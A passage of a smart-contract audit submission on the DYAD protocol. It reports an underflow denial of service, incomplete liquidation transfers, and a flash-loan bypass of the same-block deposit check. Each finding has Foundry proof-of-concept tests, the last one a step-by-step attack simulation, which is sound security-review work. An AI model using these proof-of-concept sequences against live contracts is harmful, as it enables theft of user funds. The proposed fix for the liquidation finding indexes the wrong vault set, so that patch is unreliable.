DYAD - lian886's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/Vault.kerosine.unbounded.sol#L50-L68

Vulnerability details

Impact

If the total usd value of vaults in the kerosineManager is less than dyad.totalSupply(), UnboundedKerosineVault::assetPrice() will revert because Underflow error.

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
@>    uint numerator   = tvl - dyad.totalSupply();
      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

The functions call chain is collatRatio()->getTotalUsdValue()->getKeroseneValue()->keroseneVault.getUsdValue(id)->UnboundedKerosineVault::assetPrice() While the function collatRatio() is called by the functions withdraw(), mintDyad(), liquidate(). Calling these functions will revert too.

Proof of Concept

There are two scenarios that could lead to this situation.

• 1, Not all the NonKeroseneVaults are added in the kerosineManager.
• 2, The sudden decrease in collateral value（eg The sudden drop in the price of WETH）, Especially when the collateralization ratio for non-Kerosene collateral is only required to be 100%.

Proof of Code for scenario 1

add this test function below in test/fork/v2.t.sol, then run forge test --mt testUnboundedcallAssetPriceFailed --fork-url $(MAINNET_RPC) --fork-block-number 19621640 -vvv in terminal

function testUnboundedcallAssetPriceFailed() public{
    contracts.unboundedKerosineVault.assetPrice();

  }

**Because there are vaults in vaultsManager V1,not be added in kerosineManager Then we will get:

Ran 1 test for test/fork/v2.t.sol:V2Test
[FAIL. Reason: panic: arithmetic underflow or overflow (0x11)] testUnboundedcallAssetPriceFailed() (gas: 128356)
Traces:
  [128356] V2Test::testUnboundedcallAssetPriceFailed()
    ├─ [123328] UnboundedKerosineVault::assetPrice() [staticcall]
    │   ├─ [7342] KerosineManager::getVaults() [staticcall]
    │   │   └─ ← [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3, 0xDB8cFf278adCCF9E9b5da745B44E754fC4EE3C76]
    │   ├─ [249] Vault::oracle() [staticcall]
    │   │   └─ ← 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419
    │   ├─ [5595] 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419::decimals() [staticcall]
    │   │   ├─ [253] 0xE62B71cf983019BFf55bC83B48601ce8419650CC::decimals() [staticcall]
    │   │   │   └─ ← 8
    │   │   └─ ← 8
    │   ├─ [250] Vault::asset() [staticcall]
    │   │   └─ ← 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
    │   ├─ [2444] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [12246] Vault::assetPrice() [staticcall]
    │   │   ├─ [11235] 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419::latestRoundData() [staticcall]
    │   │   │   ├─ [7502] 0xE62B71cf983019BFf55bC83B48601ce8419650CC::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 14985 [1.498e4], 350326000000 [3.503e11], 1712706935 [1.712e9], 1712706935 [1.712e9], 14985 [1.498e4]
    │   │   │   └─ ← 110680464442257324681 [1.106e20], 350326000000 [3.503e11], 1712706935 [1.712e9], 1712706935 [1.712e9], 110680464442257324681 [1.106e20]
    │   │   └─ ← 350326000000 [3.503e11]
    │   ├─ [250] Vault::asset() [staticcall]
    │   │   └─ ← 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
    │   ├─ [2534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(Vault: [0xBb2180ebd78ce97360503434eD37fcf4a1Df61c3]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [249] VaultWstEth::oracle() [staticcall]
    │   │   └─ ← 0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8
    │   ├─ [5618] 0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8::decimals() [staticcall]
    │   │   ├─ [276] 0xdA31bc2B08F22AE24aeD5F6EB1E71E96867BA196::decimals() [staticcall]
    │   │   │   └─ ← 8
    │   │   └─ ← 8
    │   ├─ [250] VaultWstEth::asset() [staticcall]
    │   │   └─ ← 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0
    │   ├─ [2336] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [49444] VaultWstEth::assetPrice() [staticcall]
    │   │   ├─ [11143] 0xCfE54B5cD566aB89272946F602D76Ea879CAb4a8::latestRoundData() [staticcall]
    │   │   │   ├─ [7410] 0xdA31bc2B08F22AE24aeD5F6EB1E71E96867BA196::latestRoundData() [staticcall]
    │   │   │   │   └─ ← 25552 [2.555e4], 350121402726 [3.501e11], 1712706647 [1.712e9], 1712706647 [1.712e9], 25552 [2.555e4]
    │   │   │   └─ ← 18446744073709577168 [1.844e19], 350121402726 [3.501e11], 1712706647 [1.712e9], 1712706647 [1.712e9], 18446744073709577168 [1.844e19]
    │   │   ├─ [36801] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::stEthPerToken() [staticcall]
    │   │   │   ├─ [31547] 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84::getPooledEthByShares(1000000000000000000 [1e18]) [staticcall]
    │   │   │   │   ├─ [8263] 0xb8FFC3Cd6e7Cf5a098A1c92F48009765B24088Dc::getApp(0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f, 0x3ca7c3e38968823ccb4c78ea688df41356f182ae1d159e4ee608d30d68cef320)
    │   │   │   │   │   ├─ [2820] 0x2b33CF282f867A7FF693A66e11B0FcC5552e4425::getApp(0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f, 0x3ca7c3e38968823ccb4c78ea688df41356f182ae1d159e4ee608d30d68cef320) [delegatecall]
    │   │   │   │   │   │   └─ ← 0x00000000000000000000000017144556fd3424edc8fc8a4c940b2d04936d17eb
    │   │   │   │   │   └─ ← 0x00000000000000000000000017144556fd3424edc8fc8a4c940b2d04936d17eb
    │   │   │   │   ├─ [12667] 0x17144556fd3424EDC8Fc8A4C940B2D04936d17eb::getPooledEthByShares(1000000000000000000 [1e18]) [delegatecall]
    │   │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000001023f6947248e7b9
    │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000001023f6947248e7b9
    │   │   │   └─ ← 1163044246224693177 [1.163e18]
    │   │   └─ ← 407206682920 [4.072e11]
    │   ├─ [250] VaultWstEth::asset() [staticcall]
    │   │   └─ ← 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0
    │   ├─ [2534] 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0::balanceOf(VaultWstEth: [0xDB8cFf278adCCF9E9b5da745B44E754fC4EE3C76]) [staticcall]
    │   │   └─ ← 0
    │   ├─ [2363] 0x305B58c5F6B5b6606fb13edD11FbDD5e532d5A26::totalSupply() [staticcall]
    │   │   └─ ← 634442400000000000000000 [6.344e23]
    │   └─ ← panic: arithmetic underflow or overflow (0x11)
    └─ ← panic: arithmetic underflow or overflow (0x11)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.98ms (1.09ms CPU time)

Ran 1 test suite in 2.59s (5.98ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Proof of Code for scenario 2

The sudden drop in the price of WETH, Assume The price of WETH dropped from 3000 to 1900. Add a new file named VaultManagerV2.t.sol in test Folder. Add the following content to the VaultManagerV2.t.sol file.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {KerosineManager}        from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault}   from "../src/core/Vault.kerosine.bounded.sol";
import {Kerosine}               from "../src/staking/Kerosine.sol";
import {KerosineDenominator}    from "../src/staking/KerosineDenominator.sol";

contract VaultManagerV2Test is Test, Parameters {
  DNft         dNft;
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManagerV2;
 

  // weth
  Vault        wethVault;
  ERC20Mock    weth;
  OracleMock   wethOracle;

  //Kerosine
  Kerosine kerosine;
  UnboundedKerosineVault unboundedKerosineVault;

  KerosineManager        kerosineManager;
  KerosineDenominator    kerosineDenominator;
  
  //users
  address user1;
  address user2;

  function setUp() public {
    dNft       = new DNft();
    weth       = new ERC20Mock("WETH-TEST", "WETHT");
    wethOracle = new OracleMock(3000e8);

    vaultManagerLicenser = new Licenser();
    vaultLicenser        = new Licenser();

    dyad   = new Dyad(vaultManagerLicenser);

    //vault Manager V2
    vaultManagerV2    = new VaultManagerV2(
        dNft,
        dyad,
        vaultLicenser
      );

    //vault
       wethVault                   = new Vault(
        vaultManagerV2,
        ERC20(address(weth)),
        IAggregatorV3(address(wethOracle))
      );

    //kerosineManager
    kerosineManager = new KerosineManager();
    kerosineManager.add(address(wethVault));

    vaultManagerV2.setKeroseneManager(kerosineManager);

    //kerosine token
    kerosine = new Kerosine();
    //Unbounded KerosineVault
    unboundedKerosineVault = new UnboundedKerosineVault(
      vaultManagerV2,
      kerosine, 
      dyad,
      kerosineManager
    );

    //kerosineDenominator
    kerosineDenominator       = new KerosineDenominator(
      kerosine
    );
    unboundedKerosineVault.setDenominator(kerosineDenominator);

    //Licenser add vault
    vaultLicenser.add(address(wethVault));
    vaultLicenser.add(address(unboundedKerosineVault));

    //vaultManagerLicenser add manager
    vaultManagerLicenser.add(address(vaultManagerV2));

    //users
    user1 = makeAddr("user1");
    user2 = makeAddr("user2");

  }

  function testUnderflowInUnboundedKerosineVaultAssetPrice() public{
    uint id = mintDNft();
    //first price is 3000usd
    deposit(weth, id, address(wethVault), 1e18);

    //deposit kerosene
    vaultManagerV2.add(id, address(unboundedKerosineVault));
   uint256 kerosene_amount = 1_000_000_000e18;
    kerosine.approve(address(vaultManagerV2), kerosene_amount);
    vaultManagerV2.deposit(id, address(unboundedKerosineVault), kerosene_amount);

    vaultManagerV2.mintDyad(id, 2000e18, user1);

    //assume price to 1900e8
    wethOracle.setPrice(1900e8);
    unboundedKerosineVault.assetPrice();
  }

  function mintDNft() public returns (uint) {
    return dNft.mintNft{value: 1 ether}(address(this));
  }

 function deposit(
    ERC20Mock token,
    uint      id,
    address   vault,
    uint      amount
  ) public {
    vaultManagerV2.add(id, vault);
    token.mint(address(this), amount);
    token.approve(address(vaultManagerV2), amount);
    vaultManagerV2.deposit(id, address(vault), amount);
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}

Then run forge test --mt testUnderflowInUnboundedKerosineVaultAssetPrice -vvv, we will get:

 ├─ [9974] UnboundedKerosineVault::assetPrice() [staticcall]
    │   ├─ [1101] KerosineManager::getVaults() [staticcall]
    │   │   └─ ← [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]
    │   ├─ [249] Vault::oracle() [staticcall]
    │   │   └─ ← OracleMock: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]
    │   ├─ [144] OracleMock::decimals() [staticcall]
    │   │   └─ ← 8
    │   ├─ [250] Vault::asset() [staticcall]
    │   │   └─ ← ERC20Mock: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
    │   ├─ [271] ERC20Mock::decimals() [staticcall]
    │   │   └─ ← 18
    │   ├─ [1431] Vault::assetPrice() [staticcall]
    │   │   ├─ [420] OracleMock::latestRoundData() [staticcall]
    │   │   │   └─ ← 1, 190000000000 [1.9e11], 1, 1, 1
    │   │   └─ ← 190000000000 [1.9e11]
    │   ├─ [250] Vault::asset() [staticcall]
    │   │   └─ ← ERC20Mock: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]
    │   ├─ [552] ERC20Mock::balanceOf(Vault: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall]
    │   │   └─ ← 1000000000000000000 [1e18]
    │   ├─ [363] Dyad::totalSupply() [staticcall]
    │   │   └─ ← 2000000000000000000000 [2e21]
    │   └─ ← panic: arithmetic underflow or overflow (0x11)
    └─ ← panic: arithmetic underflow or overflow (0x11)

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.46ms (604.54µs CPU time)

Tools Used

Manual Review

Recommended Mitigation Steps

  function assetPrice() 
    public 
    view 
    override
    returns (uint) {
      uint tvl;
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        tvl += vault.asset().balanceOf(address(vault)) 
                * vault.assetPrice() * 1e18
                / (10**vault.asset().decimals()) 
                / (10**vault.oracle().decimals());
      }
-     uint numerator   = tvl - dyad.totalSupply();
+     uint numerator   = tvl > dyad.totalSupply() ? tvl - dyad.totalSupply() : 0;

      uint denominator = kerosineDenominator.denominator();
      return numerator * 1e8 / denominator;
  }

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

Only non-KEROSENE collateral are moved to liquidator in VaultManagerV2::liquidate(), This results in the liquidator receiving less value than they should.

  function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      //there are only tokens in vaults to move
@>    for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
@>   //missing Kerosene tokens in vaultsKerosene to move 
      emit Liquidate(id, msg.sender, to);
  }

Proof of Concept

In collatRatio() use the getTotalUsdValue() which including NonKerosene collateral Usd Value and Kerosene collateral Usd Value to calculate. So if only non-KEROSENE collateral are moved to liquidator,This results in the liquidator receiving less value than they should. Assume: Alice has a DNft which id is 0, 1 Weth, 1 Billion kerosine. liquidator has a DNft which id is 1, and 1 Weth. The price of Weth is 1000usd

• 1, Alice deposits 1 Weth and 1 Billion kerosine
• 2, liquidator deposits 1 Weth
• 3, Alice mint 1000e18 Dyad(1000 usd), then the collatRatio for id=0, is 2e18
• 4, liquidator withdraw 0.6eth, then the collatRatio for id 0, is 1.4e18
• 5, liquidator liquidate id=0, to=1, only get 771.43 usd.

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {KerosineManager}        from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault}   from "../src/core/Vault.kerosine.bounded.sol";
import {Kerosine}               from "../src/staking/Kerosine.sol";
import {KerosineDenominator}    from "../src/staking/KerosineDenominator.sol";

contract VaultManagerV2Test is Test, Parameters {
  DNft         dNft;
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManagerV2;
 

  // weth
  Vault        wethVault;
  ERC20Mock    weth;
  OracleMock   wethOracle;

  //Kerosine
  Kerosine kerosine;
  UnboundedKerosineVault unboundedKerosineVault;

  KerosineManager        kerosineManager;
  KerosineDenominator    kerosineDenominator;
  
  //users
  address user1;
  address user2;

  function setUp() public {
    dNft       = new DNft();
    weth       = new ERC20Mock("WETH-TEST", "WETHT");
    wethOracle = new OracleMock(3000e8);

    vaultManagerLicenser = new Licenser();
    vaultLicenser        = new Licenser();

    dyad   = new Dyad(vaultManagerLicenser);

    //vault Manager V2
    vaultManagerV2    = new VaultManagerV2(
        dNft,
        dyad,
        vaultLicenser
      );

    //vault
       wethVault                   = new Vault(
        vaultManagerV2,
        ERC20(address(weth)),
        IAggregatorV3(address(wethOracle))
      );

    //kerosineManager
    kerosineManager = new KerosineManager();
    kerosineManager.add(address(wethVault));

    vaultManagerV2.setKeroseneManager(kerosineManager);

    //kerosine token
    kerosine = new Kerosine();
    //Unbounded KerosineVault
    unboundedKerosineVault = new UnboundedKerosineVault(
      vaultManagerV2,
      kerosine, 
      dyad,
      kerosineManager
    );
    

    //kerosineDenominator
    kerosineDenominator       = new KerosineDenominator(
      kerosine
    );
    unboundedKerosineVault.setDenominator(kerosineDenominator);

    //Licenser add vault
    vaultLicenser.add(address(wethVault));
    vaultLicenser.add(address(unboundedKerosineVault));

    //vaultManagerLicenser add manager
    vaultManagerLicenser.add(address(vaultManagerV2));

    //users
    user1 = makeAddr("user1");
    user2 = makeAddr("user2");

  }

  //test liquid
  function testLiquidateLogicError() public {
    //firstly, assume weth price is 1000 usd
    wethOracle.setPrice(1000e8);

    //assume a user
    uint id = mintDNft();
    uint cr = vaultManagerV2.collatRatio(id);
    assertEq(cr, type(uint).max);
    //deposit 1 weth
    deposit(weth, id, address(wethVault), 1e18);

    //deposit 1B kerosene
    vaultManagerV2.addKerosene(id, address(unboundedKerosineVault));
    kerosine.approve(address(vaultManagerV2), 1000_000_000e18);
    vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1000_000_000e18);
    
    //liquidator-Prepare for liquidator 
    address liquidator = makeAddr("liquidator");
    uint id_for_liquidator = mintDNft();
    dNft.transferFrom(address(this), liquidator, id_for_liquidator);
    weth.mint(liquidator, 1e18);

    //liquidator deposit 1 weth
    vm.startPrank(liquidator);
    vaultManagerV2.add(id_for_liquidator, address(wethVault));
    weth.approve(address(vaultManagerV2), 1e18);
    vaultManagerV2.deposit(id_for_liquidator, address(wethVault), 1e18);
    vm.stopPrank();
    
    
     vaultManagerV2.mintDyad(id, 1000e18, address(this));
     cr = vaultManagerV2.collatRatio(id);
     assertEq(cr, 2e18);

    //liquidator withdrow 0.6 eth
    vm.roll(block.number + 1);
    vm.prank(liquidator);
    vaultManagerV2.withdraw(id_for_liquidator, address(wethVault), 0.6e18, liquidator);

    cr = vaultManagerV2.collatRatio(id); //1.4e18
    assertEq(cr, 1.4e18);
    assertLt(cr, vaultManagerV2.MIN_COLLATERIZATION_RATIO());

    
    dyad.transfer(liquidator, 1000e18);

    uint256 wethVault_value_for_liquidator_before = wethVault.getUsdValue(id_for_liquidator);
    console.log("liquidator' usd value in wethVault before is", wethVault_value_for_liquidator_before);

    //liquidate
    vm.prank(liquidator);
    vaultManagerV2.liquidate(id, id_for_liquidator);

    uint256 wethVault_value_for_liquidator_after = wethVault.getUsdValue(id_for_liquidator);
    console.log("liquidator' usd value in wethVault after is", wethVault_value_for_liquidator_after);
    console.log("usd value get in liquidate action is:", wethVault_value_for_liquidator_after - wethVault_value_for_liquidator_before);
    assertLt(wethVault_value_for_liquidator_after - wethVault_value_for_liquidator_before, 1000e18);
    
  }


  function mintDNft() public returns (uint) {
    return dNft.mintNft{value: 1 ether}(address(this));
  }

 function deposit(
    ERC20Mock token,
    uint      id,
    address   vault,
    uint      amount
  ) public {
    vaultManagerV2.add(id, vault);
    token.mint(address(this), amount);
    token.approve(address(vaultManagerV2), amount);
    vaultManagerV2.deposit(id, address(vault), amount);
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external pure returns (bytes4) {
    return 0x150b7a02;
  }
}

Add a new file named VaultManagerV2.t.sol in test Folder. Add the following content to the VaultManagerV2.t.sol file. Then run forge test --mt testLiquidateLogicError -vv, we will get:

Ran 1 test for test/VaultManagerV2.t.sol:VaultManagerV2Test
[PASS] testLiquidateLogicError() (gas: 982520)
Logs:
  liquidator' usd value in wethVault before is 400000000000000000000
  liquidator' usd value in wethVault after is 1171428571428571428000
  usd value get in liquidate action is: 771428571428571428000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.54ms (1.51ms CPU time)

Tools Used

Manual Review

Recommended Mitigation Steps

Add KEROSENE collateral are moved to liquidator

  function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
+       numberOfVaults = vaultsKerosene[id].length();
+      for (uint i = 0; i < numberOfVaults; i++) {
+          Vault vault      = Vault(vaults[id].at(i));
+          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
+          vault.move(id, to, collateral);
+      }

      emit Liquidate(id, msg.sender, to);
  }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L225

Vulnerability details

Impact

Attacker Could still flash loan from DeFi Lending like Aave and Compound, deposit collateral token into vaults, mint a lot of Dyad token. Then manipulate the Kerosene price and the Dyad price.

Proof of Concept

The main reason is that in the liquidate() function, it's possible to bypass the check idToBlockOfLastDeposit[id] == block.number and transfer funds to another DNft ID.

  function liquidate(
    uint id,
    uint to
  ) 
    external 
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare + 1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
@>        vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }

• 1 The attacker prepares two NFTs ,some collateral and some Kerosene Token.
• 2 deposit all the non-Kerosene collateral in the vault with One NFT like id=1
• 3 In the next blocknumber, flashloan non-Kerosene collateral from Lending like Aave, Then deposit all the borrowed flashloan non-Kerosene collateral and Kerosene Token in the vault with One NFT like id=0
• 4 In the flashloan ,Mint the max number Dyad you can, do some profit using Dyad. Then withdraw non-Kerosene collateral ,manipulate the Kerosene price causing id=0 to liquidate()
• 5 liquidate id=0, with id=1, withdraw non-Kerosene collateral(id=1), repay flashloan

// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {DeployBase, Contracts} from "../script/deploy/DeployBase.s.sol";
import {Parameters} from "../src/params/Parameters.sol";
import {DNft} from "../src/core/DNft.sol";
import {Dyad} from "../src/core/Dyad.sol";
import {Licenser} from "../src/core/Licenser.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {OracleMock} from "./OracleMock.sol";
import {ERC20Mock} from "./ERC20Mock.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";

import {KerosineManager}        from "../src/core/KerosineManager.sol";
import {UnboundedKerosineVault} from "../src/core/Vault.kerosine.unbounded.sol";
import {BoundedKerosineVault}   from "../src/core/Vault.kerosine.bounded.sol";
import {Kerosine}               from "../src/staking/Kerosine.sol";
import {KerosineDenominator}    from "../src/staking/KerosineDenominator.sol";

contract VaultManagerV2Test is Test, Parameters {
  DNft         dNft;
  Licenser     vaultManagerLicenser;
  Licenser     vaultLicenser;
  Dyad         dyad;
  VaultManagerV2 vaultManagerV2;
 

  // weth
  Vault        wethVault;
  ERC20Mock    weth;
  OracleMock   wethOracle;

  //Kerosine
  Kerosine kerosine;
  UnboundedKerosineVault unboundedKerosineVault;

  KerosineManager        kerosineManager;
  KerosineDenominator    kerosineDenominator;
  
  //users
  address user1;
  address user2;

  function setUp() public {
    dNft       = new DNft();
    weth       = new ERC20Mock("WETH-TEST", "WETHT");
    wethOracle = new OracleMock(3000e8);

    vaultManagerLicenser = new Licenser();
    vaultLicenser        = new Licenser();

    dyad   = new Dyad(vaultManagerLicenser);

    //vault Manager V2
    vaultManagerV2    = new VaultManagerV2(
        dNft,
        dyad,
        vaultLicenser
      );

    //vault
       wethVault                   = new Vault(
        vaultManagerV2,
        ERC20(address(weth)),
        IAggregatorV3(address(wethOracle))
      );

    //kerosineManager
    kerosineManager = new KerosineManager();
    kerosineManager.add(address(wethVault));

    vaultManagerV2.setKeroseneManager(kerosineManager);

    //kerosine token
    kerosine = new Kerosine();
    //Unbounded KerosineVault
    unboundedKerosineVault = new UnboundedKerosineVault(
      vaultManagerV2,
      kerosine, 
      dyad,
      kerosineManager
    );
    

    //kerosineDenominator
    kerosineDenominator       = new KerosineDenominator(
      kerosine
    );
    unboundedKerosineVault.setDenominator(kerosineDenominator);

    //Licenser add vault
    vaultLicenser.add(address(wethVault));
    vaultLicenser.add(address(unboundedKerosineVault));

    //vaultManagerLicenser add manager
    vaultManagerLicenser.add(address(vaultManagerV2));

  }

function testFlashLoanAttackUsingLiquidateSimulation() public{
    wethOracle.setPrice(1000e8);
    //1 The attacker prepares two NFTs ,some collateral and some Kerosene Token.
    uint id = mintDNft();
    uint id_for_liquidator = mintDNft();
    weth.mint(address(this), 1e18);

    //2 deposit all the non-Kerosene collateral in the vault with One NFT like id=1 
    vaultManagerV2.add(id_for_liquidator, address(wethVault));
    weth.approve(address(vaultManagerV2), 1e18);
    vaultManagerV2.deposit(id_for_liquidator, address(wethVault), 1e18);

    //3 In the next blocknumber, flashloan non-Kerosene collateral from Lending like Aave,
    vm.roll(block.number + 1);
    weth.mint(address(this), 1e18);//Simulation borrow 1 weth

    //deposit all the borrowed flashloan non-Kerosene collateral and Kerosene Token in the vault with One NFT like id=0
    vaultManagerV2.add(id, address(wethVault));
    weth.approve(address(vaultManagerV2), 1e18);
    vaultManagerV2.deposit(id, address(wethVault), 1e18);

    vaultManagerV2.addKerosene(id, address(unboundedKerosineVault));
    kerosine.approve(address(vaultManagerV2), 1000_000_000e18);
    vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1000_000_000e18);

    //Mint the max number Dyad you can
    vaultManagerV2.mintDyad(id, 1000e18, address(this));
    uint256 cr = vaultManagerV2.collatRatio(id); //2e18
    assertEq(cr, 2e18);

    //withdraw using id_for_liquidator,  manipulate the  Kerosene price
    vaultManagerV2.withdraw(id_for_liquidator, address(wethVault), 1e18, address(this));
    cr = vaultManagerV2.collatRatio(id); //1e18
    assertEq(cr, 1e18);
    //liquidate
    vaultManagerV2.liquidate(id, id_for_liquidator);
    //withdraw the vault which is move from id  using id_for_liquidator
    vaultManagerV2.withdraw(id_for_liquidator, address(wethVault), 1e18, address(this));
    console.log("weth balance is ", weth.balanceOf(address(this))/1e18);
}

  function mintDNft() public returns (uint) {
    return dNft.mintNft{value: 1 ether}(address(this));
  }

 function deposit(
    ERC20Mock token,
    uint      id,
    address   vault,
    uint      amount
  ) public {
    vaultManagerV2.add(id, vault);
    token.mint(address(this), amount);
    token.approve(address(vaultManagerV2), amount);
    vaultManagerV2.deposit(id, address(vault), amount);
  }

  receive() external payable {}

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
